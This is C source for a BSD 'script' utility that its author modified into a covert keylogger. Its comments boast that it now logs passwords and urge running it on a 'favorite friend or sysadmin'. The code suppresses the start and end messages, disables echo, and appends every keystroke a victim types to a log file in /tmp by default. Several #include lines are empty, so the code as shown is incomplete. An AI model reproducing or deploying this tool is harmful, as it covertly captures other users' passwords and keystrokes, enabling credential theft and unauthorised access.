script.c
/* This is BSD script.. modified to be more quiet and to log everything */
/* that is typed, not just what gets echoed back (now logs passwords) */
/* because of this everything typed by the user and echoed back shows */
/* up doubled, if not echoed back it looks normal */
/* minor modifications to get it to compile on sunos.... */
/* run it on your favorite friend or sysadmin, remember, big brother is */
/* watching ...................................... x0d */
#define STTYPATH "/usr/5bin/stty"
#define DEFSPATH "/tmp/log"
/*
* Copyright (c) 1980 Regents of the University of California.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#ifndef lint
char copyright[] =
"@(#) Copyright (c) 1980 Regents of the University of California.\n\
All rights reserved.\n";
#endif /* not lint */
#ifndef lint
static char sccsid[] = "@(#)script.c 5.13 (Berkeley) 3/5/91";
#endif /* not lint */
/*
* script
*/
#include
#include
#include
#include
#include
#include
#include
#include
/* #include
*/
#define _PATH_BSHELL "/bin/sh"
char *shell;
FILE *fscript;
int master;
int slave;
int child;
int subchild;
char *fname;
struct termios tt;
struct winsize win;
int lb;
int l;
char line[] = "/dev/ptyXX";
int aflg;
main(argc, argv)
int argc;
char *argv[];
{
extern char *optarg;
extern int optind;
int ch;
void finish();
char *getenv();
aflg++; /* always append to the file */
while ((ch = getopt(argc, argv, "a")) != EOF)
switch((char)ch) {
case 'a':
aflg++;
break;
case '?':
default:
fprintf(stderr, "usage: script [-a] [file]\n");
exit(1);
}
argc -= optind;
argv += optind;
if (argc > 0)
fname = argv[0];
else
fname = DEFSPATH;
if ((fscript = fopen(fname, aflg ? "a" : "w")) == NULL) {
perror(fname);
fail();
}
shell = getenv("SHELL");
if (shell == NULL)
shell = _PATH_BSHELL;
getmaster();
/* printf("Script started, file is %s\n", fname);
*/ /* not so loud!! */
fixtty();
(void) signal(SIGCHLD, finish);
child = fork();
if (child < 0) {
perror("fork");
fail();
}
if (child == 0) {
subchild = child = fork();
if (child < 0) {
perror("fork");
fail();
}
if (child)
dooutput();
else
doshell();
}
doinput();
}
doinput()
{
register int cc;
char ibuf[BUFSIZ];
/* (void) fclose(fscript); nah, dont do that */
while ((cc = read(0, ibuf, BUFSIZ)) > 0)
{
(void) write(master, ibuf, cc);
(void) fwrite(ibuf,1,cc,fscript);
fflush(fscript);
}
done();
}
#include
void
finish()
{
union wait status;
register int pid;
register int die = 0;
while ((pid = wait3((int *)&status, WNOHANG, 0)) > 0)
if (pid == child)
die = 1;
if (die)
done();
}
dooutput()
{
register int cc;
time_t tvec, time();
char obuf[BUFSIZ], *ctime();
(void) close(0);
tvec = time((time_t *)NULL);
fprintf(fscript, "Script started on %s", ctime(&tvec));
for (;;) {
cc = read(master, obuf, sizeof (obuf));
if (cc <= 0)
break;
(void) write(1, obuf, cc);
(void) fwrite(obuf, 1, cc, fscript);
fflush(fscript); /* 2 people writing, keep it flushed */
}
done();
}
doshell()
{
int t;
/***
t = open(_PATH_TTY, O_RDWR);
if (t >= 0) {
(void) ioctl(t, TIOCNOTTY, (char *)0);
(void) close(t);
}
***/
getslave();
(void) close(master);
(void) fclose(fscript);
(void) dup2(slave, 0);
(void) dup2(slave, 1);
(void) dup2(slave, 2);
(void) close(slave);
execl(shell, "sh", "-i", 0);
perror(shell);
fail();
}
fixtty()
{
struct termios rtt;
struct sgttyb a;
char temp[80];
rtt = tt;
/* hopefully this shit will put it into raw mode */
sprintf(temp,"%s raw",STTYPATH);
system(temp); /*try the easy way first! */
/* see how easy it was on bsd, why doesnt */
/* sunos have the (below) command?? */
/* cfmakeraw(&rtt);
*/
rtt.c_lflag &= ~ECHO;
(void) tcsetattr(0, TCSAFLUSH, &rtt);
}
fail()
{
(void) kill(0, SIGTERM);
done();
}
done()
{
time_t tvec, time();
char *ctime();
if (subchild) {
tvec = time((time_t *)NULL);
fprintf(fscript,"\nScript done on %s", ctime(&tvec));
(void) fclose(fscript);
(void) close(master);
} else {
(void) tcsetattr(0, TCSAFLUSH, &tt);
/* we've come so far! dont give it away now!!
*
* printf("Script done, file is %s\n", fname);
*/
}
exit(0);
}
getmaster()
{
char *pty, *bank, *cp;
struct stat stb;
pty = &line[strlen("/dev/ptyp")];
for (bank = "pqrs"; *bank; bank++) {
line[strlen("/dev/pty")] = *bank;
*pty = '0';
if (stat(line, &stb) < 0)
break;
for (cp = "0123456789abcdef"; *cp; cp++) {
*pty = *cp;
master = open(line, O_RDWR);
if (master >= 0) {
char *tp = &line[strlen("/dev/")];
int ok;
/* verify slave side is usable */
*tp = 't';
ok = access(line, R_OK|W_OK) == 0;
*tp = 'p';
if (ok) {
(void) tcgetattr(0, &tt);
(void) ioctl(0, TIOCGWINSZ,
(char *)&win);
return;
}
(void) close(master);
}
}
}
fprintf(stderr, "Out of pty's\n");
fail();
}
getslave()
{
line[strlen("/dev/")] = 't';
slave = open(line, O_RDWR);
if (slave < 0) {
perror(line);
fail();
}
(void) tcsetattr(slave, TCSAFLUSH, &tt);
(void) ioctl(slave, TIOCSWINSZ, (char *)&win);
(void) setsid();
(void) ioctl(slave, TIOCSCTTY, 0);
}
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